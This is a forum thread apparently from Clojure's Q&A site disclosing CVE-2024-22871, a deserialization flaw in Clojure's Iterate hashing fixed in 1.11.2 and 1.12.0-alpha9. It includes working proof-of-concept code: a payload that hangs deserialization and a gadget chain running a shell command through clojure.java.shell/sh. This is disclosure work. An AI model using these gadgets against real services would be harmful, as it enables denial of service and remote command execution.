Welcome! Please see the About page for a little more info on how this works.

+1 vote
in Clojure by
closed by

Reporting Vulnerabilities

In org.clojure:clojure, there are some vulnerabilities as following:
- Denial of service attack ( clojure version 1.2.0 - 1.12.0 )

dos

Command Injection

Note that no additional components are required for this vulnerability.

Details:
RCE CallGraph in 1.12.0-a5
17069252746231706925273707.png

CVE:
- CVE-2024-22871

closed with the note: Released in Clojure 1.11.2 and 1.12.0-alpha9
by
As discussed below, DOS attacks may affect 1.2.0-1.12.0, and command execution with local verification may affect 1.9.0-1.12.0
by
In my opinion, several current problems are similar to the situation below, but are new ways of bypassing.


https://clojure.atlassian.net/browse/CLJ-2204
by
edited by
I don't get it, what does clojure have to do with it if it's all java?

upd: Am I understanding correctly that you can implement the same in java without clojure?
by
Not done correctly, the function call graph is partially dependent on clojure, such as apply, RestFn, etc. $fn_5920 can be obtained in Clojure by accessing anonymous function classes to execute commands in versions 1.9.0-1.12.0 (in clojure version poc).

1 Answer

+3 votes
by
selected by
 
Best answer

Using ObjectInputStream on untrusted data is inherently dangerous, as the docs of the class say themselves. Why would a showcase of the dangers of that class be considered a vulnerability in the JAR that supplies some of the used classes?

An easier way to reproduce for future readers:

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
by
Yes, ObjectInputStream does introduce potential security risks. However, regarding this specific vulnerability, the issue is not about discussing potential risks leading to security problems. It lies in the fact that, in version 1.12.0-alpha5, it's possible to construct a special serialized data packet, which exacerbates the potential harm of these risks. This can be done without needing other dependencies and enables command execution (it seems like process$start is a newly introduced function). The harm from deserialization often depends on the project environment, but this vulnerability does not require any other dependencies and is an issue with the JAR package itself.
by
I see. However, it has nothing to do with 1.12.0-alpha5 - the code that I just added to my answer can be run on 1.8.0 to reproduce the behavior. And with slight modifications, it can be run on 1.2.0 (but not earlier because before then `clojure.lang.Cons` wasn't serializable).
by
Yes, this vulnerability only affects version 1.12.0-alpha5. I haven't done much analysis on previous versions, and I'm pessimistic that they have other high-risk deserialization vulnerabilities.
By the way, if possible, hope developers can release CVE, despite my request to CVE, I haven't heard back yet.
by
You're saying "yes" but writing the opposite of what I said - the vulnerability affects _all_ versions of Clojure starting from 1.2.0.
by
Really? Guys , are you referring to the command execution vulnerability caused by this deserialization? Because I'm not very familiar with Clojure, I only got this analysis result from my own program analysis tool.
by
Moreover, what confuses me the most is the principle behind the generation of the core$partial$fn__5920 class. I analyzed clojure.jar using soot. But I would like to understand the actual code of core$partial$fn__5920 in Clojure.
by
That particular class is generated from this arity of the `partial` function: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
by
Thank you. Due to the time difference, it might be difficult to reply promptly later on."
by
edited by
Another way to generate a command execution attack

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
by
It should be noted that after just setting 'fn start (ns-resolve 'clojure.java.shell 'sh)', it can affect version 1.9.0 - 1.12.0, and it can also implement command execution.
by
Not sure what you mean by your last comment. The `sh` function in the `clojure.java.shell` namespace is used to shell out and run commands, so of course you can run stuff with it. The command execution mechanism still relies on the way the `Iterate` class implements its hashing.
by
This is because I used process $ start in the previous version, but unfortunately this is a new function introduced in 1.12.0 ; later, check the project, found that you can directly use the shell function to run the command directly. Yes, the problem still appears in the hash calculation of the Iterate class.
by
This issue has been fixed in Iterate hashCode() in 1.11.2 and 1.12.0-alpha9.
...